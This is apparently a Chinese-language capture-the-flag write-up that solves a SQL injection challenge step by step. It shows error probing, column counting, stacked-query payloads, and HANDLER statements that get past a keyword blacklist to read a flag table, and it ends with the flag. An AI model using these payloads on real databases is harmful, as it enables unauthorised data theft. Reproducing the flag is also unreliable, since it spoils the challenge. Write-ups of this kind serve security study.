1.输入1'
回显出语法错误(找到注入点,是字符型)
error 1064 : You have an error in your SQL syntax; check the manual that corresponds to your MariaDB server version for the right syntax to use near ''1''' at line 1
2.依次输入1' order by 3#
、1' order by 1#
、1' order by 2#
(只有第一次回显报错,说明列数为2)
3.输入-1' union select 1,2,3#
测试回显位
回显:
return preg_match("/set|prepare|alter|rename|select|update|delete|drop|insert|where|\./i",$inject);
以上是提示过滤了select
4.使用堆叠注入尝试查看库名和表名
1';show databases;
1';show tables;
查看列名:
1';show columns from FlagHere;#
使用hanlder语句获得flag:(好用欸)
1';handler FlagHere open;handler FlagHere read first;handler FlagHere close;#
tips:
handler 表名 open #打开表
handler 表名 read first #阅读表中的第一行数据
handler 表名 close #关闭表
handler 表名 read next #获取表中的下一行数据
FLAG:flag{a34e3221-985c-43f3-8155-7777fb2e1131}